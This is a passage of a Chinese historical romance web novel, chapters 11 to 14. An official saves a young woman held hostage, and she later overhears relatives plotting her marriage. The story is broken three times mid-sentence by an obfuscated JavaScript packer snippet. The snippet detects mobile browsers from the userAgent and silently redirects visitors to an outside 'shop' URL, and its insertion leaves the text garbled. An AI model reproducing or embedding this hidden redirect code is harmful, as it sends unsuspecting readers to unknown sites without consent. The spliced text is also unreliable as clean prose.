“少来!沈大人,恐怕我坐下和你谈判,这些弓箭手会立时间要了我的命吧?我的情报只能烂在肚子里,别妄想我会告诉你还有谁参与了!”歹徒说完哈哈大笑,接着丧心病狂地道:“不过,如果你不在乎这个小娘皮的命,可以送我们一起上黄泉!” 沈秋珏眼神阴冷了一些,他不喜欢被威胁。 歹徒晃了晃手中的匕首,将寒光反射到沈秋珏的脸上,“您是更想要我的命呢,还是更想救下这个无辜的小姑娘呢?让我猜一猜,百姓都说沈秋珏是天上降下守护苍生的将星,慈悲心肠,万恶不侵,下令射死这个小娘皮吧,让其他老百姓也看看沈大人心狠手辣的一面嘛。” 慕喻晚心一沉,顿感绝望。 沈秋珏拿过身边那个小兵张满的弓,他亲自将弓拿在了手上,弦绷得更紧,箭矢的尖直直对着歹徒的胸口,由于她在歹徒的前面,那支箭对向的是她的胸口。 11. 第 11 章 慕喻晚心跳如擂鼓。她听说老练的弓箭手在瞄准目标时,眼中只剩下自己和猎物,她不知道沈秋珏是不是这样,此时此刻她的世界只剩下他挺拔的身影和自己雷动的心跳。 歹徒将慕喻晚的手腕勒得更紧,让她整个人往前移了一些,纵然男人的身形比女人的宽大,但是这个距离恐怕百步穿杨之技艺也无法避开慕喻晚了。 “你选择杀死她,换我的命,我这辈子还没有白活!让大家看看沈秋珏根本不在乎无辜黎明百姓的命,只顾拿着逃犯的人头去皇帝那里邀宠!”歹徒愈加疯狂,发出的声音犹如困兽之嚎叫。 “你错了。”沈秋珏的话音刚落,箭矢穿破空气的声音眨眼便至,随即“咣当”一声匕首掉在了地板上。 慕喻晚缓缓睁开眼睛,身上并无伤痛,沈秋珏将手中弯弓的力卸掉,旁边的心腹接过他手中弓,官兵们都将箭矢下移对准地板。 慕喻晚动了动,手腕松动了一些,身后的歹徒喉咙里发出难听的呜咽声,没过多久她听到“砰”的一声,歹徒斜对她倒地,她扭转脖子,入眼便是瞪圆双目的尸体。尸体背上插着一支弓箭,弓箭没入一大半,尸体背面一大片青布都变红了,鲜血在布衣上围绕着弓箭呈现向外喷溅的形状。 慕喻晚捂着嘴,吓得弹开三米远,沈秋珏扶住了她的肩膀问:“没事吧?” 慕喻晚摸了摸脖子,手指沾上薄薄的鲜血,脖子上的伤口细细密密的疼,她摇了摇头示意自己问题不大。 红衣手下指挥着一群官兵上前查看尸体,另外几个人把踢翻的桌椅板凳复原。老板娘算是上道的,连连上前感谢,那位红衣官兵掏了几锭银子给她,老板娘眉开眼笑表示理解和支持,欢迎他们休沐日也来坐坐。 慕喻晚还想抚摸伤口,看看流血多不多,结果沈秋珏冒出一句:“别动。”她立刻缩回手。 沈秋珏招了招手,一个穿着黑红色制服的手下小跑到他身边,他吩咐了一句:“去国公府请孙大夫,告诉他带上药箱,到秋霞阁。” 慕喻晚心里一惊,为什么请来大夫请到秋霞阁?她是不是也会被转移到那里,总觉得有种乞丐面对绫罗绸缎的无所适从感,她现在全身上下就带了一百五十文钱。这钱在兰月坊是绝对够花了,秋霞阁那可就买不到一撮的茶。 黑红色制服的手下颔首,立刻一溜烟跑走了,眨眼间人影就消失在楼道。 红衣手下低头搜查了一番尸体,过来拿出一样东西:“大人,您看这个。” 躺在他手心的是一枚青铜制成的牛,只有一个鼻烟壶那么大,形状也磨得棱角不显。 沈秋珏接过青铜小牛,“这是漕帮带在身上的平安符,走船祈求风平浪静的。你带她到秋霞阁去,带上这个。” 沈秋珏从腰间解下一枚圆形的麒麟玉佩,红衣人双手接过,显然那是在秋霞阁的什么凭证。 慕喻晚赶紧摆手推辞,“不用,我这点小伤回去抹一点金疮药就好了。” 沈秋珏看了她一眼,吩咐老板娘去拿金疮药和纱布,等老板娘拿来后他亲自接过,抹了一点药膏在指腹,抬起手却停顿在半空中,他锐利的目光微凝觑着慕喻晚,片刻后将药膏和纱布递给她,“你自己来吧。” 慕喻晚赶紧低下头接过,方才沈秋珏动作自然地像是立马要给她涂抹药膏,还好他中途意识到男女有别不可肌肤相亲,不然这周围这么多人看着只怕又要起什么风波。 她将质地绵软的药膏凭感觉涂在伤口处,有些刺痛,然后把纱布在脖子上缠了两圈,因为不知道怎么打结收尾,只好将末端垂下披在肩膀后头。 沈秋珏看着她的动作,嘴唇动了动,没说什么,直到最后慕喻晚那么潦草地包扎收尾,他终于忍不住,“手放下来。” 慕喻晚讪讪地放下手,纱布顿时就变成松松垮垮的。沈秋珏大手将其从她脖子上“松绑”取下,他准备重新包扎,一开始他先是按住纱布一角,一圈圈略带些紧实感地缠绕,最后不知打了个什么结,纱布于是固定不动了。 包扎的过程,沈秋珏的手掌不可避免地碰触她脖子上最为娇嫩的肌肤,沈秋珏的掌心和指腹都带着粗糙的茧,并且他手心的温度比自己脖子的温度要高许多,所以这种碰触每每带来慕喻晚的瑟缩。 而由于她的瑟缩,即使沈秋珏动作熟练,包扎的过程仍然很缓慢。因为每次她缩了下脖子,沈秋珏都会用那双锐利如鹰视的眼睛不咸不淡看她一眼,这分明就是警示。 慕喻晚有种想找面镜子看看的冲动,沈秋珏轻轻按了下收尾的结,他终于开口道:“好了。”声音分外低沉。 慕喻晚觉得他可能是生气了,所以没有提出自己想要一面小镜子的请求。 沈秋珏注意到她欲言又止的表情,垂首问:“怎么了?”声音又恢复了平时的不容置疑以及阴冷的语气。 “我怕会有点丑?”慕喻晚壮了壮胆子,怯道。 沈秋珏微顿,一旁他的红衣手下突然笑出来,红衣大哥打趣道:“大人,你救下的这个姑娘好有意思,刚刚还吓得快哭出来,这会却担心起自己伤口包扎得不好看了?” 慕喻晚看沈秋珏没有生气,这位红衣大哥看起来凶语气却很和善,她略微放心地道:“脖子上留了疤,就会很显眼。” 红衣大哥:“命重要还是留不留疤重要?” “都很重要。” 红衣大哥提高音量,“这能一样?我说你们这些小姑娘,把外在看得比命还重要,至于吗?我身上疤就不少。” 这个时代,男人和女人能一样吗? 慕喻晚平心静气,“会有碍婚嫁。” 红衣大哥动了动唇,不说话了,想来是认同这一点,至少也是无法反驳。 沈秋珏扫了他这位手下一眼,随即目光落在慕喻晚身上,安慰道:“姑娘且放心,不会留疤,孙大夫一向擅长处理刀剑创口。” 红衣大哥忙道:“是是,孙神医随军多年,这点小伤对他不算什么。他脚程快,想必已快到秋霞阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633251|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我送姑娘过去。” 到了现在慕喻晚也无法再次拒绝,只好随着他一起去了对面的秋霞阁。至于沈秋珏,他留在现场还要处理后续的事,还有些线索需要挖掘,最后临别的时候他叮嘱慕喻晚:“我等下也要过去,你留在那儿。” 兰月坊离秋霞阁就十步路左右的距离,站在秋霞阁门口慕喻晚有些踟躇。 要不还是回家算了?这门口的牌匾上的字都是鎏金的,琉璃灯笼、八角灯笼挂得跟不要钱一样,里头飘来酒香夹杂着其他奇异的香味,朱红地板铺满楼层,一层楼就顶旁边兰月坊两层楼,所以总共五层楼的秋霞阁衬托得旁边的兰月坊像“小矮人”,朱红碧绿和原木瓦砾也形成鲜明对比。 红衣大哥看她犹豫的模样,笑了下,“你要是想走,大人不会怪你的。” 慕喻晚一愣:“什么意思?” 他难道有什么很重要的事要同她讲吗? “多一事不如少一事,大部分人都不愿意牵涉到这种事情里头来,更何况姑娘今天本来就受了惊吓,还受了伤,虽然我们很希望你再提供证据、讲述细节来帮助我们破案,但这种事当然也遵循姑娘自己的意愿。” 原来是这样,慕喻晚低头,今天那名歹徒分明是穷凶极恶、目无王法的狂徒,谈话中透露的是他牵扯进更夸张更大的凶案中,他还有团伙没有被抓住。 桩桩件件丝丝缕缕都告诫着她不要牵扯进去,她人微言轻又没有本事傍身,怎么能孤身犯险? 红衣大哥看她沉默着,继续道:“姑娘最好的做法是立马回家,绝口不提今天的事,从此安静等着嫁人,一辈子无忧无惧。” 慕喻晚捏着衣角,脖子上已经感受不到疼痛了,或许伤口已经结痂,她抬起头:“我进去。不需要我付钱吧?” 红衣大哥咧开嘴笑得很灿烂,“当然不用。” 他带她进去后,还没等她适应眼花缭乱的新奇玩意儿,戏台上争奇斗艳的舞女已经随着乐师的音乐舞动,立刻有侍者迎上来问:“官爷您定了位置没有?” 红衣大哥晃了晃手中的麒麟玉佩,侍者更加狗腿子般点头哈腰,他们被领去了顶楼的一间天字包厢,侍者推开房间恭迎他们进去。 这间房有慕喻晚闺房三四间那么大,吃用设施一应俱全,而且从窗户便可以俯瞰半个燕京城的格局,走到门外单独的露台又可以从最好的视角看戏台。 没等慕喻晚欣赏完,两个人便上来和她打了招呼,其中一个是之前兰月坊看到的黑红制服的官兵,另外一个提着药箱的大约有四十岁左右的青衣男人。沈秋珏之前吩咐这个官兵去叫“孙大夫”,想必这个就是孙大夫。 慕喻晚行礼道:“孙大夫,两位大哥,真是麻烦了。” 她这一行礼,另外三个人都笑起来了,带她过来的红衣大哥拍着脑袋:“哎呀,都忘了介绍我的名字,我叫鲍管鸣,他叫赵二虎。” 孙大夫给慕喻晚施了药,没过一会儿门就推开了,沈秋珏走了进来。 12. 第 12 章 沈秋珏倒是没有一上来就要她提供歹徒细节,而是让孙大夫先给她看伤。孙大夫解开纱布,看了眼伤口便断定:“只是皮肉伤,我这里有盒祛痕膏,敷用半个月绝不会留疤。” 孙大夫给她看了病,给了两盒祛痕膏,重新缠上纱布后便推行告辞。他本是游医,被沈秋珏所救从此跟随,不随军行医时便待在国公府随时待命。 沈秋珏询问慕喻晚怎么被歹徒挟持的细节,慕喻晚从姐姐带她进入兰月坊开始说起,着重强调了一下她看到了歹徒就餐时用银针试毒,她一边说旁边的鲍管鸣一边用笔记录。 慕喻晚说完这些,看沈秋珏在沉思,她起身:“时候不早了,那我就先告辞了,今天多谢沈国公相救。” 沈秋珏道:“这么早便走?还未到正午。” “我辰时便出门了,在外耽搁了一两个时辰,家里该担心了。” 沈秋珏撑着下巴,“两三个时辰不打紧,去城郊踏青这点时间都不够出城的。你上次在国公府,不是待了很久还留下来吃了晚宴?晩上家里派人来接你回去,不也没说什么。” 慕喻晚无话可说,有上次的例子,足可以说明她家是个开明的,用家里担心出门太久这种理由确实站不住脚。但是,一般说这种借口不都是客套推辞一下?谁会细究啊?主人知道客人有离去之意,正常的做法都是放行了吧。 “我回家吃午饭。” “这里的饭菜也很可口。” 他把自己的借口轻巧打了回来,执意挽留,难道这沈国公还有什么其他的意思?慕喻晚想起了上次在国公府里偏厢的遭遇,紧张了起来,沈秋珏嘴上说对于她是十几年首破例,但是谁知道他会不会突然见色起意,这人一看就不是个好相与、好揣度的。 沈秋珏看着她的表情,突然正了正色,“慕姑娘别曲解在下的意思,今天秋霞阁未时会有剧上演,是一出名戏,《西厢记》,只是不知道上演哪一幕,我想你会感兴趣所以才留你下来听戏的。” 西厢记啊,那确实会很好看。她以前听戏,只能在别人府上当宾客的时候看看,或者逢年过节大人带她去落梨戏楼听一出,她没有自己选剧目的机会,因而都是断断续续地听,这《西厢记》她就没有完整看过。 她装出平淡的样子,“多谢大人厚爱,《西厢记》小女听过了。” 她对沈秋珏又没有什么恩惠,也没能力对他有恩惠,他怎么会这样厚待她? 沈秋珏眼风转了一下,旁边立正待命的赵二虎立刻道:“大妹子,这么精彩的戏哪有看够的?你这个年纪,正是爱看戏的年纪,我方才来的路上,看到县主也在秋霞阁,想必是等戏开演,县主和你差不多的岁数吧?” 慕喻晚表情为之一变,她站不住了,立时就要走。 鲍管鸣踩了赵二虎一脚,伸手挽留,“姑娘别急,定是赵二虎看错了。我们大人为了救你,把重要证人射死了,冒着线索断掉的风险也要救你于险境。现在只是邀姑娘留下听个戏,难不成还怀疑大人别有居心?” 慕喻晚脚步顿住,觉得他说的很有道理,甚至因为他话中说的为了救她不得不射死重要犯人而感到内疚。 鲍管鸣拉着赵二虎告辞,出了房门,关门后鲍管鸣眼神严厉地看着赵二虎,斥责道:“你怎么瞎说?你是没看出沈大人的意思,还是没看出慕姑娘的身份?” 赵二虎意识到自己可能说错了话,方才他说话的时候沈国公就脸色略沉,鲍管鸣说的时候国公爷才脸色稍霁。沈国公的阴晴很难被琢磨,鲍管鸣提醒过他这一点要他格外小心,他才分外注意。 “我看沈国公有意留下那个姑娘,因此开口,想着借县主和她拉近一些距离,有同辈姑娘在她会觉得更自在。难道,我竟说错了?” 鲍管鸣:“当然!你没听见沈大人叫她慕姑娘,两人似有旧识,沈大人交往的人中除了县主哪有这个年纪的姑娘?必然是通过县主的原因结识的。其中姓慕的,除了前些天闹得沸沸扬扬的,县主那位好闺友,慕家女儿慕喻晚,还会有谁?她又长得这般好看,符合她过去在京城中的美名。” 赵二虎惊出冷汗,这人竟是慕喻晚,和县主因为何怀瑾有嫌隙那位!而他竟然在国公和慕喻晚面前提到县主,拉近慕喻晚和县主的关系,他还以为慕喻晚会觉得有同龄玩伴很高兴呢!这一下子又得罪那位姑娘,又得罪沈国公,难怪他说出那番话后慕喻晚更加想离去。 鲍管鸣只是通过沈国公对她的称呼,姑娘的容貌,就敏锐察觉出她是谁,这是他不具备的能力,难怪这姓鲍的是沈国公的心腹。 “那为什么,沈大人还会留她下来听《西厢记》?” 众所周知,这位姑娘和县主有过节才是,沈大人却对她以礼相待。在兰月坊那般危急关头,最终还是选择保全她的性命,以沈秋珏的性格就算选择杀死她,也会做得让消息密而不传。 鲍管鸣看他一眼,“我为人谋就奉行一个原则,该揣度的一定要揣度到位,不该揣度的要半分不知,这样才知道什么时候做什么、说什么话。” 赵二虎抱拳:“受教了。” 房内慕喻晚只好留下,她怎么想都觉得孤男寡女共处一室不太妥当,于是显得有些坐立不安。 此时离戏台开唱还有差不多半个时辰,她坐不住只好在房间里放轻步伐乱晃。这包厢里有一个大书架放着许多藏书,她心痒痒却没有去碰,很明显这间房是沈秋珏长期包下的厢房,算是他私人的地界,最好不要去动他的私人物品。 沈秋珏在躺椅上小眠,居然起身走近:“想看什么书?” 慕喻晚不禁好奇刚才他睡着了没有,自己只是多看了两眼书架就被抓到了。她心里想的是游记,仍然道:“藏书如此多,觉得比较惊奇,就看了两眼。” “惊奇什么,你原以为我不沾书卷?” “没有没有,”慕喻晚赶紧否认,“就是想,搜罗这许多书需要花多少年啊?所以才惊奇,不是为别的。” “这些没什么,我府上的藏书楼藏书更多,那是家中三代积累所集。” 慕喻晚叹了声,这就是世家啊,才学积累不是普通人所及。 沈秋珏从书架上抽了一本《十杰游记》和《大宛八大家散文抄录》,示意她拿着看。 慕喻晚更加惊奇了,难道他会读心术,难道自己这么容易被看穿,她可什么都没说,对方就知道她想看游记? “你怎么知道我喜欢看这些?”她接过两本书。 沈秋珏看了她一眼,笑道:“你也喜欢?我只是按我消遣闲暇时爱读的挑了两本,没想到君子所见略同。” 慕喻晚翻了两页,小声说了一句:“我不是君子。” 沈秋珏垂首,微笑道:“其实我也不算。” 慕喻晚看了他一眼,没说话,到桌边安静看书去了,沈秋珏继续到躺椅上小憩。《十杰游记》并不厚,大概看了三分之一,慕喻晚放下书估摸着已经到未时,她没吵醒沈秋珏,起身轻轻推开小门到露台上。 秋霞阁内部是一个环形建筑,每一层楼露台都围绕着圆心,下一层楼露台与上一层楼的露台错开,从侧面看露台的排布呈锯齿状。 沈秋珏的包厢在顶楼,又是正对着戏台的方向,可以说是秋霞阁视角最好的露台了,余下几层楼正对戏台的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633252|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向修了放置坐椅的观众台,只有顶楼这个位置是包厢没有观众台。一楼戏台已经搭起,观众台挤满了人,露台上也分别三三两两坐了人。 戏台旁边突然闪过一个身影,慕喻晚揉了揉眼睛,以为自己看错了。 “戏开始了?你在看什么?”沈秋珏推门走了出来,本以为睡过头了,结果戏还未开演,慕喻晚看得便那般入神。 慕喻晚勾着身子,去看戏台边上的人,那人转过身朝楼梯处走去,慕喻晚才看清她的脸,是她姐姐慕知晨,姐姐为什么会在这里? “大人,我看戏台搭好了,伶人在幕后化妆,我想去台后瞧两眼他们是如何妆扮的。” 沈秋珏没什么表情,估计觉得小女子对这些打扮和优伶的事感兴趣很正常,他点了头。慕喻晚立刻回房穿过房门到走廊上,一路小跑下了楼梯,还没下两层就看到慕知晨在往上走,她情急之下躲到楼梯下头的角落里。 没想到慕知晨也停在这一层,她下了楼梯转了个弯,经过躲在楼梯间的慕喻晚身边却没注意到她,往最近处的厢房走去,这间厢房的门敞开着。 慕喻晚到房门处,踟蹰了一下想转身回去,却听到里头传来了沈君念和何怀瑾的声音,他们两个怎么也在这里? 沈君念跋扈的声音传出来,“怎么,慕夏还是不肯松口吗?” 慕喻晚心中一惊,她走了进去,躲在屏风的后头,屏风是木头材质不透光,她暂时不用担心被看见身影。 慕知晨叹气的声音整个屋子可以听见,“你不知道啊,慕夏可宠着慕喻晚了,他扬言要养她一辈子,我可说不动他。” 慕喻晚听见何怀瑾问:“你也是他的妹妹,怎么就比不过慕喻晚?” 慕知晨的声音顿时提高:“我哪能和慕喻晚比,说我庶出也好,与兄长生分也好,慕夏有好处从来都先想着他那个妹妹,刚才我来秋霞阁的路上,经过古董行,看见慕夏给慕喻晚买珍珠钗子呢,真是舍得啊。” 慕喻晚心里不是滋味,也不知道是为了慕知晨,还是为了慕夏。 沈君念没来由地问了一句:“哪个古董行,你来的路上……可是水钿间?” “没错,就是街对面那家,听说老板来头不小。” 何怀瑾温柔道:“君念,水钿间的钗子有什么稀罕的,下回我去找匠人打一支给你。” 上回和沈、何二人一同见面还是在国公府,那时候何怀瑾还没有表现得如此珍重沈君念,这才过了短短数天,态度竟然大为转变。纵使何怀瑾背叛了她,何家还羞辱过她,但是回想起过去何怀瑾对待她有过之而无不及的好,慕喻晚心里还是隐隐作痛。 沈君念却道:“你不懂。” 慕知晨清了清嗓子,“我们今天讨论的难道不是,慕喻晚的婚嫁之事,以及我们家怎么给赵大人做这个顺水人情。” 慕喻晚瞪大了眼睛,这群人相约在这里,竟然是为了这样的筹谋?可是,可是,这三个人一个是她的姐姐,一个是她过去最好的朋友,一个在十天前还是她青梅竹马的未婚夫。 她宁愿怀疑自己的耳朵出了问题,也不想怀疑他们说的话真的有那么龌龊,如果真是那样,她也太狼狈了。 “你倒是急性子。”沈君念嘲讽地说了一句。 慕喻晚把耳朵贴在屏风上,使劲想听得更清楚。 直到何怀瑾的下一句话,彻底打破了她的幻想,像一把尖锐的利箭直直对准她的心脏扎了下去。 “你为了裴度的仕途,倒是卖力,连亲妹妹在你口中也只是个人情?我们和裴度相约,只说了由你出面给你妹妹牵桥搭线,觅一桩好姻缘啊。” 13. 第 13 章 慕喻晚不知道该怎么面对这样的事,她攥紧手,心中一片死灰。 她在屏风外头僵了一会儿,里间三个人的对话不断传来,她被迫接收三个人各怀心思的话语。 原来慕知晨本来就让裴度约着赵非勒在此等候,而她自己用计骗慕喻晚出门,先在兰月坊喝茶,让裴度适时引着赵非勒出现,她和裴度再找个理由溜走,留赵非勒和慕喻晚单独相处。 谁能想到,在兰月坊她遇上歹徒,歹徒还好巧不巧把慕喻晚挟持了,慕喻晚生死未卜,她惊魂未定,跑来秋霞阁后和裴度一商量,决定去请示赵非勒该怎么办。 听说了兰月坊的突发情况,而刚好沈君念在秋霞阁和何怀瑾私会,赵非勒让慕知晨先去探探沈、何两个人的口风,如若有他们的帮助事情会简单一些。他觉得沈秋珏可以从歹徒手里救下慕喻晚,这是很可能的,他们要商讨下之后的计划怎么进行。当然如果慕喻晚不幸死掉,那也不用再谈了。 果然过了一会儿就传来兰月坊无人伤亡的消息,慕知晨想着慕喻晚经历这么凶险的事肯定已经回家去了,她计划着下次什么时间再把她约出来。 慕知晨、沈君念和何怀瑾三个人聊了差不多一刻钟。 其中,慕知晨的目的最为明显,她几次将话题牵到赵非勒身上,她想要用慕喻晚为自己的丈夫谋个好前程,也就是把慕喻晚嫁给赵非勒做妾。沈君念则是一副无所谓的态度,只要慕喻晚快点嫁人,她不管慕喻晚嫁给谁。何怀瑾还算三个人当中好的了,他本意是想为慕喻晚谋一个好归宿。 听到后来慕喻晚心中的不可置信与悲痛已经全转换成愤慨,越听越气,她不想再待下去,转身便离开了。 楼梯上,裴度正从上面的楼梯走下来,慕喻晚隔着扶手瞥到他,赶紧回转身,结果沈君念和何怀瑾说说笑笑出了房门也朝这里走来。 慕喻晚进也难退也难,情急之下往下层楼的楼梯去,瞬间有道黑色的身影席卷而来将她裹入楼梯间,慕喻晚的喊叫被一只大手捂住,她闻到了梅花香于是放松警惕。 楼梯下是一个斜角和地板形成的小角落,所幸这里有一张装饰用的木屏风,屏风能堪堪遮挡住一个成年男子和娇小的女子,慕喻晚蜷缩着身子,她几乎坐在沈秋珏的腿上。 察觉到自己的姿势不妥,她稍微想分开一些,结果沈秋珏在她耳边私语道:“别动,还是说你不想听听他们说什么?” 慕喻晚突然意识到,沈秋珏没有在房门口听到那三个人的密谋,他不知道这些人在设计些什么,毕竟这也不是他的困境。 方才,慕喻晚想要避开,只是不想在这个场合这种情况下见到他们几人,再说事已至此她不想再见这些人了。以后除了不能推脱的人情往来,她绝不会再看中与这些人的情谊。 但是她和沈秋珏这么亲密,被发现实在太难解释。 “大人,要是被发现我们……我们这样,你也不好解释。”慕喻晚回过头瞧着他。 “那就靠紧些,尽量不被发现。”沈秋珏气定神闲仿佛啜茶。 慕喻晚嗔看着沈秋珏,但是又毫无办法,沈秋珏低头俯视她的眼光不似平日里那般锋芒锐利。外边的曲子已经开始唱了好久,咿咿呀呀的,听不真切,偏偏唱到念白处十分清晰,“他若是共小生、厮觑定,隔墙儿酬和到天明。”慕喻晚顿时心里燃起了一把火来烧,脸上也映出红云。① 外头沈君念、何怀瑾和裴度已经撞上,只听裴度问道:“县主,你怎么不在房里坐?” 沈君念娇媚张扬的声音丝毫不加掩饰:“我们和你夫人商量不出个什么,出来走走,顺便和子瑜一起去看我爹,听说他也来了。” “咳咳,我听这里头的人说沈国公正忙着,恐怕你不方便去看他。”裴度说得很委婉,毕竟沈君念是沈大人的亲生女儿,他可是听人说今天沈秋珏送了个女人进房里。 秋霞阁的客人没敢再多说,只说是沈秋珏的手下领过了个女人进房,那女人就没出来过。他也是男人,这种事光是听个影儿就知道是怎么回事,看来沈秋珏根本不是如传闻中那般自亡妻故后清心寡欲啊。 “有什么不方便的?”沈君念疑惑,“我爹再忙也会抽空见我。” 裴度话锋一转:“县主听我一句劝吧,不如筹谋自己的事情。县主高风亮节深念旧情,给慕喻晚姑娘寻的夫婿寻得怎么样了?赵非勒大人可是在等着呢。” 何怀瑾的声音响起,他冷笑一声:“你们夫妻真不愧是一家人,说要寻一门好亲事给慕姑娘,原来竟然是画靶子射箭,先有人选才有今天的局。” “何公子说笑了,怎么会?我和拙荆是诚心的啊,事情只要结果是好的,先有靶先有箭不那么重要。” 枉慕喻晚还叫裴度一声姐夫,这可真是知人知面不知心,恶鬼披着人皮,竟也将她蒙了过去。 裴度和慕知晨夫妻一体,心也是一样的,都想设计她嫁给赵非勒做妾,赵非勒能够提拔裴度升官儿。 “真是前有狼后有虎。”慕喻晚咬牙,纵然恨恨也只敢小声牢骚一句。 沈秋珏若有所思,“那我出去?” 他做了个起身的动作,慕喻晚急忙拉住他的衣袖,“不要!” 慕喻晚露出乞求的眼神,沈秋珏半蹲回去,他状似困惑道:“你这让我难办了,说我是老虎又不让我走。” 慕喻晚又回想起他们初遇,这个人把她当成了明月楼调教出来的瘦马,当时就对她意欲轻薄,眼下比那时候还让人难堪。 慕喻晚挪动之间,不小心踢到了放在角落旮旯里的一只铜盆,这一下闹出不小的动静。 外头的说话声戛然而止。 沈君念立时间喝道:“谁在那儿?!” 慕喻晚心提到嗓子眼,砰砰直跳,紧张之下浑身僵硬不敢动弹。沈秋珏发觉怀中的人儿如此紧张,她急得快要哭出来,这让他想到了漂亮胆小的猫,也是这般瑟缩、警觉。 两个人此时贴得太近,慕喻晚身上冒出香汗,沈秋珏嗅到了慕喻晚身上惹得人心浮动的体香,他不自在地往后靠了靠,不让慕喻晚发现自己的异样。 这不能怪他,十几年来素了太久,大量时间待在军营接触到的都是五大三粗的壮士,那些人训练出的汗也是臭汗,怎么比得上现在这个小女郎如此诱人年轻的身段,她出汗都是好闻的。 沈秋珏克制住浮想联翩,低头瞧见慕喻晚咬着下嘴唇,就这样怕?偏偏外头的唱曲好似不放过他一般,愣是抑扬顿挫念道:““原来是扑刺刺宿鸟飞腾,颤巍巍花梢弄影,乱纷纷落红满径。”② 沈秋珏看见慕喻晚下颌的一滴汗珠,从白皙优雅的脖颈滑下消失在衣领,他移开目光,虽然什么都没看见,但是心中暗暗骂了自己怎可这么卑鄙地欺负人良家? 慕喻晚耳畔,男人的呼吸渐渐加重,甚至变得有些浑浊,她更加胆怯起来,这算怎么回事儿啊? 外头裴度和何怀瑾对视一眼,方才他们的话不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660465|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道被这里藏着的人听去了多少。 沈君念见里面的人不说话,气急败坏,威胁道:“你不答应是吧,非要我把你揪出来才高兴?” 她慢慢朝着木屏风走来,脚步声渐近。 慕喻晚急得去看沈秋珏,沈秋珏贴在他耳畔,略微喘着粗气道:“说你是秋霞阁的丫鬟。” 慕喻晚和沈君念过去过从甚密,她要出声骗过沈君念只能伪装声音,但是沈君念听不听得出来只能说是靠运气。 眼下也没有其他办法,看着沈君念越走越近,慕喻晚捏着鼻子、吊起嗓子道:“奴婢是秋霞阁的丫鬟,冲撞了贵人还请宽恕。” 这声音尖利做作,沈君念皱了皱眉,但是果然停住了脚步,“你躲在这里干什么?” 沈秋珏还没有出声教,慕喻晚自己继续维持这个声音说:“贵人要奴婢伺候,犯了秋霞阁的规矩,只好在这里换衣裳,奴婢不敢出来。” 沈君念回过身,看着裴度和何怀瑾,裴度无所谓道:“左右是个小丫鬟,管他做甚?” 沈君念想着好歹要教训下,这丫鬟就算无心也偷听了他们讲话。而此时何怀瑾的面色阴沉着,他默了半晌,过来阻拦道:“何必自己动手,要教训,报给秋霞阁主事的,自会把这个犯了事的丫鬟剥了皮扔出去。” 沈君念一想也是,眉毛高挑,斜眼看了眼屏风,哼了声。 慕喻晚说完那句话,心下尴尬不已,她说贵人要她伺候,可在她身旁的不就是位贵人?好像言语中借了其他身份,坐实了两个人有亲密关系一样。她只是慌不择言,随便编了个借口而已,却没想到“贵人”听在耳里会不会有其他意思。 她还在懊恼着,祈祷外头三个人快点走开,楼梯另一侧绕出来一个人,她在屏风后台看不清来人是谁,心又提到嗓子眼,恐有变数。沈秋珏看怀中的女孩又绷紧了身体,不免觉得有趣。 门外来人对沈君念道:“小姐,您怎么在这儿?这事能别和国公爷说吗?我也就是好不容易来一趟。” 慕喻晚:哎呀,来的是鲍管鸣,沈秋珏的红衣手下,护送她来秋霞阁的大哥。 沈君念:“哦?你是说?” 鲍管鸣不好意思道:“这个,是小人找乐子找到这里来的,这女人小姐就放过她吧?看在小人的面子上,她不会把小姐的话往外传的,借她十个胆子也不敢啊。” 沈君念挑了挑眉,暧昧道:“原来是鲍校尉啊,想不到不忙公务的时候,竟然也会寻乐子啊。” “县主就别取笑在下了。” “我爹他在忙什么?为什么不方便见我?” 鲍管鸣立马道:“最近有桩很重要的案子,大人也有些棘手,小姐还是不要去打扰的好。” 沈君念骄矜道:“那好吧,圣上肯定又交代什么重任给我爹了。” 沈君念看是鲍管鸣找的女人,鲍管鸣是她爹的心腹,于是也就不计较了。鲍管鸣陪送着沈一行人离开,他们回到原先的房间,鲍管鸣离开的时候他回头望了望屏风的方向。 等着脚步声听不见了,慕喻晚才彻底松懈下来。沈秋珏仍然环拢着她,两个人间有些暗流在涌动。 慕喻晚立刻推开沈秋珏站起来,声音清冷:“多谢沈国公解围,下次若有事要问小女就在兰月坊问吧,秋霞阁到底不是我常来的地方。” “姑娘竟至于翻脸不认人,我也未对你做出什么逾礼之事吧?” 慕喻晚瞳孔剧缩,他还好意思说? 14. 第 14 章 沈秋珏和她男女有别,慕喻晚觉得难堪。 